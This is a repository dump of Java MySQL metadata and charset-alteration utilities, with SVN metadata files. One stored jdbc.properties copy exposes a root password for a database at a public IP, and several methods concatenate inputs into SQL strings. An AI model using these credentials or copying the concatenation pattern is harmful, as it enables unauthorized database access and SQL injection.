tABLE_CATALOG;\n\t}\n\tpublic String getTABLE_SCHEMA() {\n\t\treturn TABLE_SCHEMA;\n\t}\n\tpublic void setTABLE_SCHEMA(String tABLE_SCHEMA) {\n\t\tTABLE_SCHEMA = tABLE_SCHEMA;\n\t}\n\tpublic String getTABLE_NAME() {\n\t\treturn TABLE_NAME;\n\t}\n\tpublic void setTABLE_NAME(String tABLE_NAME) {\n\t\tTABLE_NAME = tABLE_NAME;\n\t}\n\tpublic String getTABLE_TYPE() {\n\t\treturn TABLE_TYPE;\n\t}\n\tpublic void setTABLE_TYPE(String tABLE_TYPE) {\n\t\tTABLE_TYPE = tABLE_TYPE;\n\t}\n\tpublic String getENGINE() {\n\t\treturn ENGINE;\n\t}\n\tpublic void setENGINE(String eNGINE) {\n\t\tENGINE = eNGINE;\n\t}\n\tpublic long getVERSION() {\n\t\treturn VERSION;\n\t}\n\tpublic void setVERSION(long vERSION) {\n\t\tVERSION = vERSION;\n\t}\n\tpublic String getROW_FORMAT() {\n\t\treturn ROW_FORMAT;\n\t}\n\tpublic void setROW_FORMAT(String rOW_FORMAT) {\n\t\tROW_FORMAT = rOW_FORMAT;\n\t}\n\tpublic long getTABLE_ROWS() {\n\t\treturn TABLE_ROWS;\n\t}\n\tpublic void setTABLE_ROWS(long tABLE_ROWS) {\n\t\tTABLE_ROWS = tABLE_ROWS;\n\t}\n\tpublic long getAVG_ROW_LENGTH() {\n\t\treturn AVG_ROW_LENGTH;\n\t}\n\tpublic void setAVG_ROW_LENGTH(long aVG_ROW_LENGTH) {\n\t\tAVG_ROW_LENGTH = aVG_ROW_LENGTH;\n\t}\n\tpublic long getDATA_LENGTH() {\n\t\treturn DATA_LENGTH;\n\t}\n\tpublic void setDATA_LENGTH(long dATA_LENGTH) {\n\t\tDATA_LENGTH = dATA_LENGTH;\n\t}\n\tpublic long getMAX_DATA_LENGTH() {\n\t\treturn MAX_DATA_LENGTH;\n\t}\n\tpublic void setMAX_DATA_LENGTH(long mAX_DATA_LENGTH) {\n\t\tMAX_DATA_LENGTH = mAX_DATA_LENGTH;\n\t}\n\tpublic long getINDEX_LENGTH() {\n\t\treturn INDEX_LENGTH;\n\t}\n\tpublic void setINDEX_LENGTH(long iNDEX_LENGTH) {\n\t\tINDEX_LENGTH = iNDEX_LENGTH;\n\t}\n\tpublic long getDATA_FREE() {\n\t\treturn DATA_FREE;\n\t}\n\tpublic void setDATA_FREE(long dATA_FREE) {\n\t\tDATA_FREE = dATA_FREE;\n\t}\n\tpublic long getAUTO_INCREMENT() {\n\t\treturn AUTO_INCREMENT;\n\t}\n\tpublic void setAUTO_INCREMENT(long aUTO_INCREMENT) {\n\t\tAUTO_INCREMENT = aUTO_INCREMENT;\n\t}\n\tpublic Date getCREATE_TIME() {\n\t\treturn CREATE_TIME;\n\t}\n\tpublic void setCREATE_TIME(Date cREATE_TIME) {\n\t\tCREATE_TIME = cREATE_TIME;\n\t}\n\tpublic Date getUPDATE_TIME() {\n\t\treturn UPDATE_TIME;\n\t}\n\tpublic void setUPDATE_TIME(Date uPDATE_TIME) {\n\t\tUPDATE_TIME = uPDATE_TIME;\n\t}\n\tpublic Date getCHECK_TIME() {\n\t\treturn CHECK_TIME;\n\t}\n\tpublic void setCHECK_TIME(Date cHECK_TIME) {\n\t\tCHECK_TIME = cHECK_TIME;\n\t}\n\tpublic String getTABLE_COLLATION() {\n\t\treturn TABLE_COLLATION;\n\t}\n\tpublic void setTABLE_COLLATION(String tABLE_COLLATION) {\n\t\tTABLE_COLLATION = tABLE_COLLATION;\n\t}\n\tpublic long getCHECKSUM() {\n\t\treturn CHECKSUM;\n\t}\n\tpublic void setCHECKSUM(long cHECKSUM) {\n\t\tCHECKSUM = cHECKSUM;\n\t}\n\tpublic String getCREATE_OPTIONS() {\n\t\treturn CREATE_OPTIONS;\n\t}\n\tpublic void setCREATE_OPTIONS(String cREATE_OPTIONS) {\n\t\tCREATE_OPTIONS = cREATE_OPTIONS;\n\t}\n\tpublic String getTABLE_COMMENT() {\n\t\treturn TABLE_COMMENT;\n\t}\n\tpublic void setTABLE_COMMENT(String tABLE_COMMENT) {\n\t\tTABLE_COMMENT = tABLE_COMMENT;\n\t}\n\t\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/db/utils/.svn/all-wcprops",
    "content": "K 25\nsvn:wc:ra_dav:version-url\nV 59\n/svn/klg_test/!svn/ver/16/Xutils/src/main/java/klg/db/utils\nEND\nDbUtilsTest.java\nK 25\nsvn:wc:ra_dav:version-url\nV 75\n/svn/klg_test/!svn/ver/9/Xutils/src/main/java/klg/db/utils/DbUtilsTest.java\nEND\nDBmeta.java\nK 25\nsvn:wc:ra_dav:version-url\nV 70\n/svn/klg_test/!svn/ver/9/Xutils/src/main/java/klg/db/utils/DBmeta.java\nEND\nDbAlter.java\nK 25\nsvn:wc:ra_dav:version-url\nV 72\n/svn/klg_test/!svn/ver/16/Xutils/src/main/java/klg/db/utils/DbAlter.java\nEND\njdbc.properties\nK 25\nsvn:wc:ra_dav:version-url\nV 75\n/svn/klg_test/!svn/ver/20/Xutils/src/main/java/klg/db/utils/jdbc.properties\nEND\nDBAccess.java\nK 25\nsvn:wc:ra_dav:version-url\nV 72\n/svn/klg_test/!svn/ver/9/Xutils/src/main/java/klg/db/utils/DBAccess.java\nEND\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/db/utils/.svn/entries",
    "content": "8\n\ndir\n19\nhttp://code.taobao.org/svn/klg_test/Xutils/src/main/java/klg/db/utils\nhttp://code.taobao.org/svn/klg_test\n\n\n\n2017-01-11T13:46:08.287621Z\n16\nklguang\n\n\nsvn:special svn:externals svn:needs-lock\n\n\n\n\n\n\n\n\n\n\n\nbbe45bec-5d91-4125-81bf-89593742e330\n\f\nDBAccess.java\nfile\n\n\n\n\n2018-04-02T05:08:51.840000Z\nc5d8b5f6be98a94ebd59f295648ccbc9\n2016-12-06T04:21:14.271163Z\n9\nklguang\n\f\nDBmeta.java\nfile\n\n\n\n\n2018-04-02T05:08:51.847000Z\n607b10295eaaf62fd11933f4075c3460\n2016-12-06T04:21:14.271163Z\n9\nklguang\n\f\nDbAlter.java\nfile\n\n\n\n\n2018-04-02T05:08:51.855000Z\n873dc0bf570b6dcb8c9ed044648046e0\n2017-01-11T13:46:08.287621Z\n16\nklguang\n\f\nDbUtilsTest.java\nfile\n\n\n\n\n2018-04-16T14:44:14.394000Z\nff042d9111495dcfa69ed525c0cc9036\n2016-12-06T04:21:14.271163Z\n9\nklguang\n\f\njdbc.properties\nfile\n20\n\n\n\n2018-04-16T12:35:18.457000Z\n20a7176f0e93070b7367e1b80bb5a6bb\n2018-04-16T12:39:39.018411Z\n20\nklguang\n\f\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/db/utils/.svn/format",
    "content": "8\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/db/utils/.svn/text-base/DBAccess.java.svn-base",
    "content": "package klg.db.utils;\n\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.IOException;\nimport java.sql.Connection;\nimport java.sql.DriverManager;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.sql.Statement;\nimport java.util.Properties;\n\npublic class DBAccess {\n\n\tprivate static String jdbc_file_path = DBAccess.class.getResource(\"jdbc.properties\").getPath();\n\tprivate static final Connection conn = createConn();\n\n\tprivate Statement stmt = null;\n\tprivate ResultSet rs = null;\n\n\tpublic DBAccess() {\n\n\t}\n\n\tpublic static Connection getConn() {\n\t\treturn conn;\n\t}\n\n\tpublic ResultSet getRs() {\n\t\treturn rs;\n\t}\n\n\tpublic void setRs(ResultSet rs) {\n\t\tthis.rs = rs;\n\t}\n\n\tpublic static Connection createConn() {\n\t\tConnection c = null;\n\t\ttry {\n\t\t\tProperties properties=new Properties();\n\t\t\tproperties.load(new FileInputStream(jdbc_file_path));\n\t\t\tString drv = properties.getProperty(\"jdbc.driverClassName\");\n\t\t\tString url = properties.getProperty(\"jdbc.url\");\n\t\t\tString user = properties.getProperty(\"jdbc.username\");\n\t\t\tString passwd = properties.getProperty(\"jdbc.password\");\n\t\t\tClass.forName(drv);\n\t\t\tc = DriverManager.getConnection(url, user, passwd);\n\t\t} catch (ClassNotFoundException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (FileNotFoundException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t} catch (IOException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn c;\n\t}\n\n\t/*\n\t * 验证\n\t */\n\n\tpublic boolean valid(String sql) {\n\t\tboolean b = false;\n\t\ttry {\n\t\t\tstmt = conn.createStatement();\n\t\t\trs = stmt.executeQuery(sql);\n\t\t\tif (rs.next()) {\n\t\t\t\tb = true;\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn b;\n\t}\n\n\t/*\n\t * 查询\n\t */\n\n\tpublic void query(String sql) {\n\t\ttry {\n\t\t\tstmt = conn.createStatement();\n\t\t\trs = stmt.executeQuery(sql);\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\t/*\n\t * 更新\n\t */\n\n\tpublic boolean update(String sql) {\n\t\tboolean b = false;\n\t\ttry {\n\t\t\tstmt = conn.createStatement();\n\t\t\tstmt.execute(sql);\n\t\t\tb = true;\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn b;\n\t}\n\n\tpublic boolean next() {\n\t\tboolean b = false;\n\t\ttry {\n\t\t\tif (rs.next())\n\t\t\t\tb = true;\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn b;\n\t}\n\n\tpublic String getValue(String field) {\n\t\tString value = null;\n\t\tif (rs != null)\n\t\t\ttry {\n\t\t\t\tvalue = rs.getString(field);\n\t\t\t} catch (SQLException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\treturn value;\n\t}\n\n\tpublic String getValue(int columnIndex) {\n\t\tString value = null;\n\t\tif (rs != null)\n\t\t\ttry {\n\t\t\t\tvalue = rs.getString(columnIndex);\n\t\t\t} catch (SQLException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\treturn value;\n\t}\n\n\t/*\n\t * 关闭数据库连接对象\n\t */\n\tpublic void closeConn() {\n\t\ttry {\n\t\t\tconn.close();\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\tpublic void closeStmt() {\n\t\ttry {\n\t\t\tstmt.close();\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\tpublic void closeRs() {\n\t\ttry {\n\t\t\trs.close();\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\tpublic static void main(String args[]) throws SQLException {\n\t\tString sql = \"show databases\";\n\t\tDBAccess dba = new DBAccess();\n\n\t\tdba.query(sql);\n\t\tResultSet rs = dba.getRs();\n\t\twhile (rs.next()) {\n\t\t\tSystem.out.println(rs.getString(1));\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/db/utils/.svn/text-base/DBmeta.java.svn-base",
    "content": "package klg.db.utils;\n\nimport java.sql.Connection;\nimport java.sql.DatabaseMetaData;\nimport java.sql.ResultSet;\nimport java.sql.ResultSetMetaData;\nimport java.sql.SQLException;\nimport java.sql.Statement;\nimport java.sql.Types;\nimport java.util.ArrayList;\nimport java.util.LinkedHashMap;\nimport java.util.List;\n\nimport klg.common.utils.MyPrinter;\n\npublic class DBmeta {\n\tpublic static void main(String[] args) {\n\t\tDBAccess dba=new DBAccess();\n\t\tMyPrinter.print(getFields(\"information_schema.TABLES\",dba.getConn()));\n\t}\n\n\n\t// LinkedHashMap保留插入顺序\n\tpublic static LinkedHashMap<String, String> getFields(String tableName,\n\t\t\tConnection conn) {\n\t\tLinkedHashMap<String, String> fields = new LinkedHashMap<>();\n\t\tString sql = \"select * from \" + tableName+\" limit 1\";\n\t\tStatement stmt;\n\t\ttry {\n\t\t\tstmt = conn.createStatement();\n\t\t\tResultSet rs = stmt.executeQuery(sql);\n\t\t\tResultSetMetaData rsmeta = (ResultSetMetaData) rs.getMetaData();\n\t\t\tint count = rsmeta.getColumnCount();\n\t\t\tfor (int i = 1; i <= count; i++) {\n\t\t\t\t//System.out.println(rsmeta.getColumnType(i));\n\t\t\t\tfields.put(rsmeta.getColumnLabel(i),rsmeta.getColumnTypeName(i)+\"(\"+rsmeta.getColumnDisplaySize(i)+\")\");\n\t\t\t\tSystem.out.println(sqlTypeToJavaType(rsmeta.getColumnTypeName(i))+\" \" +rsmeta.getColumnLabel(i)+\";\");\n\t\t\t}\n\t\t\t\n\t\t\trs.close();\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn fields;\n\t}\n\n\tpublic static String[] getFieldsNames(String tableName, Connection conn) {\n\t\tString[] fields = null;\n\t\ttry {\n\t\t\tDatabaseMetaData DBmeta = conn.getMetaData();\n\t\t\tResultSet rs = DBmeta.getColumns(null, null, tableName, null);\n\t\t\tList<String> ls = new ArrayList<String>();\n\t\t\tint i = 0;\n\t\t\twhile (rs.next()) {\n\t\t\t\tls.add(rs.getString(4));\n\t\t\t\ti++;\n\t\t\t}\n\t\t\tfields = new String[i];\n\t\t\tls.toArray(fields);\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn fields;\n\t}\n\n\tpublic static String[] getTableNames(String DBname, Connection conn) {\n\t\tString[] tables = null;\n\t\ttry {\n\t\t\tDatabaseMetaData DBmeta = conn.getMetaData();\n\t\t\tString types[] = { \"TABLE\" };\n\t\t\tResultSet rs = DBmeta.getTables(DBname, null, null, types);\n\t\t\tList<String> ls = new ArrayList<String>();\n\t\t\tint i = 0;\n\t\t\twhile (rs.next()) {\n\t\t\t\tls.add(rs.getString(3));\n\t\t\t\ti++;\n\t\t\t}\n\t\t\ttables = new String[i];\n\t\t\tls.toArray(tables);\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn tables;\n\t}\n\n\tprivate static String sqlTypeToJavaType(String sqlType) {\n\n\t\tif (sqlType.toLowerCase().contains(\"bit\")) {\n\t\t\treturn \"boolean\";\n\t\t} else if (sqlType.toLowerCase().contains(\"tinyint\")) {\n\t\t\treturn \"byte\";\n\t\t} else if (sqlType.toLowerCase().contains(\"smallint\")) {\n\t\t\treturn \"short\";\n\t\t} else if (sqlType.toLowerCase().contains(\"bigint\")) {\n\t\t\treturn \"long\";\n\t\t} else if (sqlType.toLowerCase().contains(\"int\")\n\t\t\t\t|| sqlType.toLowerCase().contains(\"int unsigned\")) {\n\t\t\treturn \"int\";\n\t\t} else if (sqlType.toLowerCase().contains(\"float\")) {\n\t\t\treturn \"float\";\n\t\t} else if (sqlType.toLowerCase().contains(\"decimal\")\n\t\t\t\t|| sqlType.toLowerCase().contains(\"numeric\")\n\t\t\t\t|| sqlType.toLowerCase().contains(\"real\")\n\t\t\t\t|| sqlType.toLowerCase().contains(\"money\")\n\t\t\t\t|| sqlType.toLowerCase().contains(\"smallmoney\")) {\n\t\t\treturn \"double\";\n\t\t} else if (sqlType.toLowerCase().contains(\"varchar\")\n\t\t\t\t|| sqlType.toLowerCase().contains(\"char\")\n\t\t\t\t|| sqlType.toLowerCase().contains(\"nvarchar\")\n\t\t\t\t|| sqlType.toLowerCase().contains(\"nchar\")\n\t\t\t\t|| sqlType.toLowerCase().contains(\"text\")) {\n\t\t\treturn \"String\";\n\t\t} else if (sqlType.toLowerCase().contains(\"datetime\")) {\n\t\t\treturn \"Date\";\n\t\t} else if (sqlType.toLowerCase().contains(\"image\")) {\n\t\t\treturn \"Blod\";\n\t\t}\n\t\treturn null;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/db/utils/.svn/text-base/DbAlter.java.svn-base",
    "content": "package klg.db.utils;\n\nimport java.sql.SQLException;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.apache.commons.dbutils.DbUtils;\nimport org.apache.commons.dbutils.QueryRunner;\nimport org.apache.commons.dbutils.handlers.MapListHandler;\n\npublic class DbAlter {\n\t\n\tpublic static void main(String[] args) {\n\t\ttry {\n\t\t\talterFieldCharset();\n\t\t\t//alterTable();\n\t\t} catch (SQLException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\t/**\n\t * 更新字段的字符集和校验规则\n\t * @throws SQLException\n\t */\n\tpublic static void alterFieldCharset() throws SQLException{\n\n\t\tString sql=\"select * from information_schema.`COLUMNS` WHERE TABLE_SCHEMA='nursinghomehaihejigoukf' and TABLE_NAME like 'n_%'  and CHARACTER_SET_NAME is not null\";\n\t\tList<Map<String, Object>> fields=new QueryRunner().query(DBAccess.getConn(), sql, new MapListHandler());\n\t\tfor(Map<String, Object> field:fields){\n\t\t\tString alter=\"ALTER TABLE `\" + field.get(\"TABLE_NAME\") + \"` MODIFY COLUMN `\" +field.get(\"COLUMN_NAME\")+\"` \"\n\t\t\t\t\t+field.get(\"COLUMN_TYPE\") +\" CHARACTER SET utf8 COLLATE utf8_general_ci;\";\n\t\t\tSystem.out.println(alter);\n\t\t}\n\t}\n\t/**\n\t * 更改表的引擎，字符集，校验规则\n\t * @throws SQLException\n\t */\n\tpublic static void alterTable() throws SQLException{\n\t\tString sql=\"select * from information_schema.`TABLES` WHERE TABLE_SCHEMA='nursinghomehaihejigoukf' and TABLE_NAME like 'n_%'\";\n\t\tList<Map<String, Object>> tables=new QueryRunner().query(DBAccess.getConn(), sql, new MapListHandler());\n\t\tfor(Map<String, Object> table:tables){\n\t\t\tString alter=\"ALTER TABLE \"+table.get(\"TABLE_NAME\")+\" ENGINE=InnoDB DEFAULT CHARACTER SET=utf8 COLLATE=utf8_general_ci;\";\n\t\t\tSystem.out.println(alter);\n\t\t}\t\t\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/db/utils/.svn/text-base/DbUtilsTest.java.svn-base",
    "content": "package klg.db.utils;\n\nimport java.sql.SQLException;\nimport java.util.List;\nimport java.util.Map;\n\nimport klg.common.utils.MyPrinter;\nimport klg.db.info.model.Column;\n\nimport org.apache.commons.dbutils.QueryRunner;\nimport org.apache.commons.dbutils.handlers.BeanListHandler;\nimport org.apache.commons.dbutils.handlers.MapListHandler;\nimport org.junit.Test;\n\npublic class DbUtilsTest {\n\tpublic static void main(String[] args) throws SQLException {\n\t\ttoMap();\n\t}\n\t\n\t\n\tpublic static void toMap() throws SQLException{\n\t\tString sql=\"select * from information_schema.`COLUMNS` WHERE TABLE_SCHEMA=\\\"testtt\\\"\";\n\t\t List<Map<String, Object>>  map=new QueryRunner().query(DBAccess.getConn(),sql, new MapListHandler());\n\t\tMyPrinter.print(map);\n\t}\n\t\n\t@Test\n\tpublic void toBean() throws SQLException{\n\t\tString sql=\"select * from information_schema.`COLUMNS` WHERE TABLE_SCHEMA=\\\"test\\\" and TABLE_NAME=\\\"user\\\"  and COLUMN_NAME=\\\"userName\\\"\";\n\t\t List<Column>  beanList=new QueryRunner().query(DBAccess.getConn(),sql, new BeanListHandler(Column.class));\n\t\tMyPrinter.print(beanList);\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/db/utils/.svn/text-base/jdbc.properties.svn-base",
    "content": "jdbc.driverClassName=com.mysql.jdbc.Driver\njdbc.url=jdbc:MySQL://47.98.129.217:3306/summary\njdbc.username=root\njdbc.password=klguang@mysql\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/db/utils/DBAccess.java",
    "content": "package com.jun.plugin.dbutils.db.utils;\n\nimport java.sql.Connection;\nimport java.sql.ResultSet;\nimport java.sql.SQLException;\nimport java.sql.Statement;\n\n/**\n * @author Wujun\n *\n */\npublic class DBAccess {\n\n\tprivate Connection conn = null;\n\tprivate Statement stmt = null;\n\tprivate ResultSet rs = null;\n\n\tpublic DBAccess(Connection connection) {\n\t\tthis.conn = connection;\n\t}\n\n\n\tpublic Statement getStmt() {\n\t\treturn stmt;\n\t}\n\n\tpublic ResultSet getRs() {\n\t\treturn rs;\n\t}\n\t\n\t\n\t/**\n\t * 查看是否有结果集\n\t * \n\t * @param sql\n\t * @return\n\t */\n\tpublic boolean hasResultSet(String sql) {\n\n\t\tboolean b = false;\n\t\ttry {\n\t\t\tStatement stmt = conn.createStatement();\n\t\t\tResultSet rs = stmt.executeQuery(sql);\n\t\t\tif (rs.next()) {\n\t\t\t\tb = true;\n\t\t\t}\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn b;\n\t}\n\n\t/*\n\t * 查询\n\t */\n\n\tpublic void query(String sql) {\n\t\ttry {\n\t\t\tstmt = conn.createStatement();\n\t\t\trs = stmt.executeQuery(sql);\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\n\t/*\n\t * 更新\n\t */\n\n\tpublic boolean update(String sql) {\n\t\tboolean b = false;\n\t\ttry {\n\t\t\tstmt = conn.createStatement();\n\t\t\tstmt.execute(sql);\n\t\t\tb = true;\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn b;\n\t}\n\n\tpublic boolean next() {\n\t\tboolean b = false;\n\t\ttry {\n\t\t\tif (rs.next())\n\t\t\t\tb = true;\n\t\t} catch (SQLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn b;\n\t}\n\n\tpublic String getValue(String field) {\n\t\tString value = null;\n\t\tif (rs != null)\n\t\t\ttry {\n\t\t\t\tvalue = rs.getString(field);\n\t\t\t} catch (SQLException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\treturn value;\n\t}\n\n\tpublic String getValue(int columnIndex) {\n\t\tString value = null;\n\t\tif (rs != null)\n\t\t\ttry {\n\t\t\t\tvalue = rs.getString(columnIndex);\n\t\t\t} catch (SQLException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\treturn value;\n\t}\n\n\tpublic void closeAll() {\n\t\tif (rs != null) {\n\t\t\ttry {\n\t\t\t\trs.close();\n\t\t\t} catch (SQLException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\n\t\tif (stmt != null) {\n\t\t\ttry {\n\t\t\t\tstmt.close();\n\t\t\t} catch (SQLException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\n\t\tif (conn != null) {\n\t\t\ttry {\n\t\t\t\tconn.close();// 关闭\n\t\t\t} catch (SQLException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/db/utils/MysqlDBAlter.java",
    "content": "package com.jun.plugin.dbutils.db.utils;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.nio.charset.Charset;\nimport java.nio.charset.StandardCharsets;\nimport java.sql.SQLException;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\nimport javax.sql.DataSource;\n\nimport org.apache.commons.dbutils.QueryRunner;\nimport org.apache.commons.dbutils.handlers.MapListHandler;\nimport org.apache.commons.io.FileUtils;\nimport org.apache.commons.lang3.StringUtils;\n\npublic class MysqlDBAlter {\n\n\tprivate DataSource dataSource;// 定义一个连接池对象\n\n\tpublic MysqlDBAlter(DataSource dataSource) {\n\t\tsuper();\n\t\tthis.dataSource = dataSource;\n\t}\n\n\t/**\n\t * 更新字段的字符集和校验规则\n\t * \n\t * @param dbName\n\t *            数据库名称\n\t * @param tablePrefix\n\t *            表前缀\n\t * @throws SQLException\n\t */\n\tpublic void alterFieldCharset(String dbName, String tablePrefix) throws SQLException {\n\t\t// CHARACTER_SET_NAME is not null,只有字符串有字符集\n\t\tString sql = \"select * from information_schema.`COLUMNS` WHERE TABLE_SCHEMA='\" + dbName + \"' and TABLE_NAME like '\" + tablePrefix + \"%'  and CHARACTER_SET_NAME is not null\";\n\t\tList<Map<String, Object>> fields = new QueryRunner().query(dataSource.getConnection(), sql, new MapListHandler());\n\t\tfor (Map<String, Object> field : fields) {\n\t\t\tString alter = \"ALTER TABLE `\" + field.get(\"TABLE_NAME\") + \"` MODIFY COLUMN `\" + field.get(\"COLUMN_NAME\") + \"` \" + field.get(\"COLUMN_TYPE\") + \" CHARACTER SET utf8 COLLATE utf8_general_ci;\";\n\t\t\tSystem.out.println(alter);\n\t\t}\n\t}\n\n\t/**\n\t * 更改表的引擎，字符集，校验规则\n\t * \n\t * @param dbName\n\t *            数据库名称\n\t * @param tablePrefix\n\t *            表前缀\n\t * @throws SQLException\n\t */\n\tpublic void alterTableCharset(String dbName, String tablePrefix) throws SQLException {\n\t\tString sql = \"select * from information_schema.`TABLES` WHERE TABLE_SCHEMA='\" + dbName + \"' and TABLE_NAME like '\" + tablePrefix + \"%'\";\n\t\tList<Map<String, Object>> tables = new QueryRunner().query(dataSource.getConnection(), sql, new MapListHandler());\n\t\tfor (Map<String, Object> table : tables) {\n\t\t\tString alter = \"ALTER TABLE \" + table.get(\"TABLE_NAME\") + \" ENGINE=InnoDB DEFAULT CHARACTER SET=utf8 COLLATE=utf8_general_ci;\";\n\t\t\tSystem.out.println(alter);\n\t\t}\n\t}\n\n\tpublic static void alterFieldNameToUppercase(File sqlFile) throws IOException {\n\t\tString content = FileUtils.readFileToString(sqlFile, StandardCharsets.UTF_8);\n\t\tString changedContent = replace(content, \"upperCase\");\n\t\tFileUtils.write(sqlFile, changedContent, StandardCharsets.UTF_8, false);\n\n\t}\n\n\tpublic static void alterFieldNameToLowercase(File sqlFile) throws IOException {\n\t\tString content = FileUtils.readFileToString(sqlFile, StandardCharsets.UTF_8);\n\t\tString changedContent = replace(content, \"lowerCase\");\n\t\tFileUtils.write(sqlFile, changedContent, StandardCharsets.UTF_8, false);\n\t}\n\t\n\tprivate static String replace(String content,String type){\n\t\tPattern p = Pattern.compile(\"`(.*?)`\");\n\t\tMatcher m = p.matcher(content);\n\t\tStringBuffer sb = new StringBuffer();\n\t\twhile (m.find()) {\n\t\t\tString name = m.group(1);\n\t\t\tif(\"upperCase\".equals(type)){\n\t\t\t\tm.appendReplacement(sb, \"`\" + StringUtils.upperCase(name) + \"`\");\t\t\t\n\t\t\t}else{\n\t\t\t\tm.appendReplacement(sb, \"`\" + StringUtils.lowerCase(name) + \"`\");\n\t\t\t}\n\t\t}\n\t\tm.appendTail(sb);\n\t\treturn sb.toString();\n\t}\n\t\n\t\n\t\n\t\n\tpublic static void main(String[] args) {\n\t\tString sqlFilePath=\"C:/Users/kevin/Desktop/temp/coderfun_boot.sql\";\n\t\tFile sqlFile =new File(sqlFilePath);\n\t\ttry {\n\t\t\tMysqlDBAlter.alterFieldNameToLowercase(sqlFile);\n\t\t} catch (IOException e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace();\n\t\t}\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/db/utils/MysqlDBmeta.java",
    "content": "package com.jun.plugin.dbutils.db.utils;\n\nimport java.sql.SQLException;\nimport java.util.List;\n\nimport javax.sql.DataSource;\n\nimport org.apache.commons.dbutils.QueryRunner;\nimport org.apache.commons.dbutils.handlers.BeanListHandler;\n\nimport com.jun.plugin.dbutils.db.info.model.Column;\nimport com.jun.plugin.dbutils.db.info.model.Table;\n\npublic class MysqlDBmeta {\n\n\tprivate DataSource dataSource;// 定义一个连接池对象\n\n\tpublic MysqlDBmeta(DataSource dataSource) {\n\t\tsuper();\n\t\tthis.dataSource = dataSource;\n\t}\n\n\t/**\n\t * \n\t * @param dbName\n\t * @return\n\t * @throws SQLException\n\t */\n\tpublic List<Table> getTabls(String dbName) throws SQLException {\n\t\tString sql = \"select * from information_schema.`TABLES` WHERE TABLE_SCHEMA=\\\"\" + dbName + \"\\\" and TABLE_TYPE=\\\"BASE TABLE\\\"\";\n\t\tList<Table> tables = (List<Table>) new QueryRunner().query(dataSource.getConnection(), sql, new BeanListHandler(Table.class));\n\t\treturn tables;\n\t}\n\n\t/**\n\t * \n\t * @param tableName\n\t * @return\n\t * @throws SQLException\n\t */\n\tpublic List<Column> getColumns(String dbName, String tableName) throws SQLException {\n\t\tString sql = \"select * from information_schema.`COLUMNS` WHERE TABLE_SCHEMA=\\\"\" + dbName + \"\\\" and TABLE_NAME=\\\"\" + tableName + \"\\\"\";\n\t\tList<Column> columns = (List<Column>) new QueryRunner().query(dataSource.getConnection(), sql, new BeanListHandler(Column.class));\n\t\treturn columns;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_dbutil/src/main/java/com/jun/plugin/dbutils/dbutil/BeanHandler.java",
